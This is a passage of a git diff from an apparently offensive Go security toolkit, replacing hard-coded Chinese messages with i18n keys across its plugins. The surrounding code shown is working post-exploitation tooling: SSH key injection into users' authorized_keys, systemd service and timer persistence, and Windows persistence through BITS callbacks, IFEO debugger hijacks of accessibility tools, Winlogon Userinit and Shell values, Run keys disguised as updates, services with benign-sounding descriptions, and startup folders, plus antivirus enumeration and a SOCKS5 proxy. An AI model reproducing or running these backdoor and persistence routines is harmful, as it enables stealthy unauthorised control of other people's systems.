i18n.GetText("socks5_target_connect_failed"), err) } // 获取本地监听端口(从targetConn获取) localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr) if !ok { - return nil, 0, fmt.Errorf("无法获取本地地址") + return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable")) } localPort := localAddr.Port @@ -269,10 +269,10 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, _, err = clientConn.Write(response) if err != nil { _ = targetConn.Close() - return nil, 0, fmt.Errorf("发送成功响应失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err) } - common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr)) + common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) return targetConn, localPort, nil } diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go index c2b1eb3..9a92b6a 100644 --- a/plugins/local/sshkey.go +++ b/plugins/local/sshkey.go @@ -38,31 +38,31 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session authFile := filepath.Join(sshDir, "authorized_keys") if err := os.MkdirAll(sshDir, 0700); err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err)) + output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n") continue } pubKey, privKey, err := p.generateKeyPair() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err)) + output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n") continue } // 追加公钥到 authorized_keys existing, err := os.ReadFile(authFile) if err != nil && !os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("[失败] %s: 读取 authorized_keys 失败: %v\n", u.Username, err)) + output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n") continue } if strings.Contains(string(existing), pubKey) { - output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username)) + output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n") continue } entry := pubKey + "\n" f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err)) + output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n") continue } _, err = f.WriteString(entry) @@ -74,11 +74,11 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 保存私钥到当前目录 keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519") if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err)) + output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile)) + output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n") successCount++ } diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go index 2a6081b..027d960 100644 --- a/plugins/local/systemdservice.go +++ b/plugins/local/systemdservice.go @@ -38,28 +38,28 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, var output strings.Builder if runtime.GOOS != "linux" { - output.WriteString("系统服务持久化只支持Linux平台\n") + output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } // 从config获取配置 targetFile := config.PersistenceTargetFile if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + output.WriteString(i18n.GetText("persistence_file_required") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } // 检查目标文件是否存在 if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) + output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -69,7 +69,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, // 检查systemctl是否可用 if _, err := exec.LookPath("systemctl"); err != nil { - output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err)) + output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -77,59 +77,59 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, } } - output.WriteString("=== 系统服务持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("systemdservice_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") var successCount int // 1. 复制文件到服务目录 servicePath, err := p.copyToServicePath(targetFile) if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath)) + output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n") successCount++ } // 2. 创建systemd服务文件 serviceFiles, err := p.createSystemdServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", "))) + output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n") successCount++ } // 3. 启用并启动服务 err = p.enableAndStartServices(serviceFiles) if err != nil { - output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n") } else { - output.WriteString("✓ 服务已启用并启动\n") + output.WriteString(i18n.GetText("systemdservice_started") + "\n") successCount++ } // 4. 创建用户级服务 userServiceFiles, err := p.createUserServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", "))) + output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n") successCount++ } // 5. 创建定时器服务 err = p.createTimerServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n") } else { - output.WriteString("✓ 已创建systemd定时器\n") + output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n") successCount++ } // 输出统计 - output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n") if successCount > 0 { common.LogSuccess(i18n.Tr("systemdservice_success", successCount)) @@ -160,7 +160,7 @@ func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, err } if targetDir == "" { - return "", fmt.Errorf("无法创建服务目录") + return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed")) } // 生成服务可执行文件名 @@ -273,7 +273,7 @@ StandardError=null } if len(created) == 0 { - return nil, fmt.Errorf("无法创建任何systemd服务文件") + return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none")) } return created, nil @@ -299,7 +299,7 @@ func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) err } if len(errors) > 0 { - return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) + return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; ")) } return nil diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go index 84ecfac..0ac0764 100644 --- a/plugins/local/systeminfo.go +++ b/plugins/local/systeminfo.go @@ -257,7 +257,7 @@ func (p *SystemInfoPlugin) collectAVInfo() { } } if len(matched) > 0 { - p.logSuccess("systeminfo_antivirus", fmt.Sprintf("%s (%d个进程)", avName, len(matched))) + p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched))) for _, proc := range matched { p.log("systeminfo_av_process", proc) } diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go index a35b737..587de47 100644 --- a/plugins/local/winbits.go +++ b/plugins/local/winbits.go @@ -26,10 +26,10 @@ func NewWinBITSPlugin() *WinBITSPlugin { func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -41,7 +41,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 创建任务并提取 GUID out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n") return &plugins.Result{Success: false, Output: output.String()} } @@ -55,29 +55,29 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session } } if guid == "" { - output.WriteString("[失败] 无法提取任务 GUID\n") + output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n") return &plugins.Result{Success: false, Output: output.String()} } - output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid)) + output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n") steps := []struct { desc string args []string }{ - {"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, - {"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, - {"设置重试", []string{"/SetMinRetryDelay", guid, "60"}}, - {"恢复任务", []string{"/resume", guid}}, + {i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, + {i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, + {i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}}, + {i18n.GetText("winbits_resume_task"), []string{"/resume", guid}}, } successCount := 1 for _, step := range steps { out, err := exec.Command("bitsadmin", step.args...).CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc)) + output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n") successCount++ } diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go index d656492..c1f6a41 100644 --- a/plugins/local/winifeo.go +++ b/plugins/local/winifeo.go @@ -26,10 +26,10 @@ func NewWinIFEOPlugin() *WinIFEOPlugin { func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -39,9 +39,9 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session exe string desc string }{ - {"sethc.exe", "粘滞键 (Shift×5)"}, - {"utilman.exe", "辅助功能 (Win+U)"}, - {"narrator.exe", "讲述人"}, + {"sethc.exe", i18n.GetText("winifeo_sticky_keys")}, + {"utilman.exe", i18n.GetText("winifeo_accessibility")}, + {"narrator.exe", i18n.GetText("winifeo_narrator")}, } var output strings.Builder @@ -51,10 +51,10 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe) out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe)) + output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n") successCount++ } diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go index a9b5cea..11ecda2 100644 --- a/plugins/local/winlogon.go +++ b/plugins/local/winlogon.go @@ -26,22 +26,22 @@ func NewWinLogonPlugin() *WinLogonPlugin { func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` entries := []struct { - name string - value string - desc string + name string + value string + desc string }{ - {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"}, - {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"}, + {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")}, + {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")}, } var output strings.Builder @@ -50,10 +50,10 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio for _, e := range entries { out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc)) + output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n") successCount++ } diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index 51e2496..03c8963 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -28,23 +28,23 @@ func NewWinRegistryPlugin() *WinRegistryPlugin { func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) entries := []struct { - key string - name string - desc string + key string + name string + desc string }{ - {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"}, - {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"}, - {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"}, + {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")}, + {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")}, + {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")}, } var output strings.Builder @@ -53,10 +53,10 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses for _, e := range entries { out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name)) + output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n") successCount++ } diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index 3f1205f..c13fbaa 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -28,14 +28,14 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin { func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } ext := strings.ToLower(filepath.Ext(pePath)) if ext != ".exe" && ext != ".dll" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -66,10 +66,10 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess out, err := cmd.CombinedOutput() result := strings.TrimSpace(string(out)) if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", task.name, result)) + output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", task.name, task.schedule)) + output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n") successCount++ } diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index 4008031..053ec85 100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -28,10 +28,10 @@ func NewWinServicePlugin() *WinServicePlugin { func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -55,11 +55,11 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess fmt.Sprintf("DisplayName=%s", svc.display), fmt.Sprintf("start=%s", svc.start)).CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out)))) + output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n") continue } _ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run() - output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start)) + output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n") successCount++ } diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index dc73771..278bdc5 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -28,10 +28,10 @@ func NewWinStartupPlugin() *WinStartupPlugin { func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -41,8 +41,8 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess name string dir string }{ - {"用户启动文件夹", filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, - {"公共启动文件夹", filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + {i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + {i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, } var output strings.Builder @@ -51,10 +51,10 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess for _, loc := range locations { target := filepath.Join(loc.dir, fileName) if err := copyFile(absPath, target); err != nil { - output.WriteString(fmt.Sprintf("[失败] %s: %v\n", loc.name, err)) + output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n") continue } - output.WriteString(fmt.Sprintf("[成功] %s -> %s\n", loc.name, target)) + output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n") successCount++ } diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index bdc1a2b..192cc97 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -28,10 +28,10 @@ func NewWinWMIPlugin() *WinWMIPlugin { func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { pePath := session.Config.WinPEFile if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} } if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } absPath, _ := filepath.Abs(pePath) @@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`, out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() if err != nil { - common.LogError(i18n.Tr("error_generic", fmt.Errorf("PowerShell执行失败: %w, 输出: %s", err, strings.TrimSpace(string(out))))) + common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) } result := string(out) diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 77374ab..0a53c6b 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -164,17 +164,17 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, err := conn.Write([]byte(stompConnect)); err != nil { - return false, fmt.Errorf("STOMP请求发送失败: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_send_failed"), err) } _ = conn.SetReadDeadline(time.Now().Add(timeout)) response := make([]byte, 1024) n, err := conn.Read(response) if err != nil { - return false, fmt.Errorf("STOMP响应读取失败: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_read_failed"), err) } if n == 0 { - return false, fmt.Errorf("STOMP无响应数据") + return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")) } responseStr := string(response[:n]) @@ -182,7 +182,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str if strings.Contains(responseStr, "CONNECTED") { return true, nil } else if strings.Contains(responseStr, "ERROR") { - errorMsg := "STOMP认证错误" + errorMsg := i18n.GetText("activemq_stomp_auth_error") if strings.Contains(responseStr, "Authentication failed") { errorMsg = "Authentication failed" } else if strings.Contains(responseStr, "Access denied") { @@ -193,7 +193,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str return false, fmt.Errorf("%s", errorMsg) } - return false, fmt.Errorf("STOMP未知响应格式") + return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_unknown_response")) } // identifyService ActiveMQ服务识别 @@ -236,7 +236,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI return &ScanResult{ Success: false, Service: "activemq", - Error: fmt.Errorf("无响应数据"), + Error: fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")), } } diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index dddbed6..8bebe4a 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -291,7 +291,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. Type: plugins.ResultTypeService, Success: true, Service: "cassandra", - Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy), + Banner: i18n.Tr("cassandra_no_auth_cluster", dummy), } } @@ -322,7 +322,7 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host state.IncrementTCPSuccessPacketCount() if opcode == cqlOpAuthChl { - banner := "Cassandra (需要认证)" + banner := i18n.GetText("cassandra_auth_required") common.LogSuccess(i18n.Tr("cassandra_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner} } diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index c3339af..28b38d1 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -40,7 +40,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s Success: true, Type: plugins.ResultTypeVuln, Service: "elasticsearch", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index c3e67e3..6d5c177 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -108,27 +108,26 @@ type NetworkInfo struct { // Summary 返回网络信息摘要 func (ni *NetworkInfo) Summary() string { if !ni.Valid { - return "网络发现失败" + return i18n.GetText("findnet_discovery_failed") } var parts []string if ni.Hostname != "" { - parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname)) + parts = append(parts, i18n.Tr("findnet_hostname", ni.Hostname)) } if len(ni.IPv4Addrs) > 0 { - parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs))) + parts = append(parts, i18n.Tr("findnet_ipv4_count", len(ni.IPv4Addrs))) } if len(ni.IPv6Addrs) > 0 { - parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs))) + parts = append(parts, i18n.Tr("findnet_ipv6_count", len(ni.IPv6Addrs))) } if len(parts) == 0 { - return "网络信息收集完成" + return i18n.GetText("findnet_complete") } return strings.Join(parts, ", ") } - // RPC数据包定义 var ( rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") @@ -140,24 +139,24 @@ var ( func (p *FindNetPlugin) performNetworkDiscovery(conn 